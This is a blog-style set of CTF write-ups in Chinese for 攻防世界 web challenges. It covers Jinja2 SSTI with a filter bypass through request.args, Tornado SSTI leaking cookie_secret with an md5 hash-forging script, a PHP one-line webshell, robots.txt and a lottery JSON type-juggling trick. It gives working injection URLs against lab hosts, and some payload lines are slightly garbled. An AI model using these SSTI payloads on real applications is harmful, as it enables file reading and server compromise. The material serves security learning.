攻防世界(web三)

简介: 攻防世界(web三)

攻防世界(web三)

Confusion1

某天,Bob说:PHP是最好的语言,但是Alice不赞同。所以Alice编写了这个网站证明。在她还没有写完的时候,我发现其存在问题。(请不要使用扫描器)

输入{{ 7*‘7’ }}

确认是SSTI

返回如下

应该是Jinja2或Twig

尝试绕过

最常用的{{‘’.class.mro[2].subclasses()}}

这应该是过滤了啥

(后来发现是过滤了 class、 subclasses、 read等关键词)

尝试{{url_for.globals}}

看眼{{config}}

尝试request

{{‘’[request.args.a][request.args.b][2]request.args.c}}?a=class&b=mro&c=subclasses

1

有了

request可以用

那就简单了

最终payload

{{‘’[request.args.a][request.args.b][2]request.args.c40request.args.d}}?a=class&b=mro&c=subclasses&d=read

http://61.147.171.105:63263/login.php/%7B%7B''[request.args.a][request.args.b][2][request.args.c]()[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt')[request.args.d]()%7D%7D?a=__class__&b=__mro__&c=__subclasses__&d=read

easytornado

题目描述:

Tornado 框架

打开/flag.txt后发现这样的页面,在url中看到了传递的两个参数,一个是文件路径,一个是加密后的一串数值。

打开/welcome.txt发现了render的提示字样,而render是一个渲染函数,结合框架Tornado,我们大体可以猜测出来,应该是SSTI注入漏洞。

在/hints.txt中我们发现了md5(cookie_secret+md5(filename)),给我的直觉是参数filehash的值。但是我们不知道cookie_secret的数值是多少,接着往下去找SSTI的注入点

http://61.147.171.105:64591/error?msg={{handler.settings}}

拿到cookie_secret之后,按照md5(cookie_secret+md5(filename))算一下

最后访问/file?filename=/fllllllllllllag&filehash=xxxxxxxxx即可

#导入hashlib模块
import hashlib
#获取一个md5加密算法对象
md = hashlib.md5()
#用提供的 字节串 更新此哈希对象(hash object)的状态。
md.update('/fllllllllllllag'.encode('utf-8'))
#NOTICE:
#update()方法需要接收的参数是一个字节对象。
#向对象中传入字节串时,必须为编码类型。可以使用字符串前b' '的方法或使用.encode('UTF-8')的方法,使字符串变为bytes类型
#以十六进制数字字符串的形式返回摘要值(哈希函数计算后生成的值就叫做摘要或者摘要值)
fact = md.hexdigest()
md = hashlib.md5()
md.update(('e128f299-9a76-4f52-ab20-56abd9df791a' + fact).encode('utf-8'))
print(md.hexdigest())
http://61.147.171.105:64591/file?filename=/fllllllllllllag&filehash=43aa80b7244d1feb8ea61e66cb1504d3

webshell

题目描述:小宁百度了php一句话,觉着很有意思,并且把它放在index.php里。

直接使用蚁剑连接

Training-WWW-Robots

1.该题目提到robots协议

2.一看到robots协议,就会搜寻robots.tx

3.User—Agent: 定义搜索引擎类型(定义robots对哪个搜索引擎生效)

User—Agent:BaiduSpider (定义该协议只对百度搜索引擎生效)

User—Agent:*(定义该协议协议对所有搜索引擎生效)

Disallow: 定义搜索引擎禁止抓取收录地址

Disallow:/ (代表着整站禁止搜索引擎抓取,/代表着网站根目录),如果前期做了整站禁止搜索引擎抓取,后期蜘蛛将很长一段时间不会来网站进行抓取内容。

Disallow:/ data/ (代表着禁止蜘蛛抓取data目录后所有的页面)

Disallow:/d (代表着data文件后边的网页被屏蔽)

4.然后打开Disallow后的文件————————————————

http://61.147.171.105:61255/fl0g.php

lottery

游戏规则
Each starter has $20
Pay $2, and select 7 numbers. Comparing with the winning number:
2 same numbers: you win $5
3 same numbers: you win $20
4 same numbers: you win $300
5 same numbers: you win $1800
6 same numbers: you win $200000
7 same numbers: you win $5000000

每玩一次扣2

{"action":"buy",
"numbers":[
true,
true,
true,
true,
true,
true,
true
]
}


相关文章
|
4天前
|
SQL 前端开发 Java
《CTF攻防世界web题》之茶壶我爱你(2)
《CTF攻防世界web题》之茶壶我爱你(2)
28 0
|
4天前
|
前端开发 Java 计算机视觉
《CTF攻防世界web题》之我什么都不会(1)
《CTF攻防世界web题》之我什么都不会(1)
35 0
|
5月前
|
存储 搜索推荐 PHP
攻防世界 初识web
攻防世界 初识web
33 0
|
10月前
|
安全
Web 安全 — CSRF 的原理和攻防
Web 安全 — CSRF 的原理和攻防
88 0
|
10月前
|
安全 存储 前端开发
Web 安全 — XSS 的原理和攻防
Web 安全 — XSS 的原理和攻防
122 0
Web 安全 — XSS 的原理和攻防
|
12月前
|
安全 PHP
攻防世界web进阶
攻防世界web进阶
|
前端开发 安全 JavaScript
|
安全 PHP Python
攻防世界 web篇(六)
攻防世界 web篇(六)
233 0
攻防世界 web篇(六)
|
PHP 数据安全/隐私保护
攻防世界web篇(五)
攻防世界web篇(五)
103 0
攻防世界web篇(五)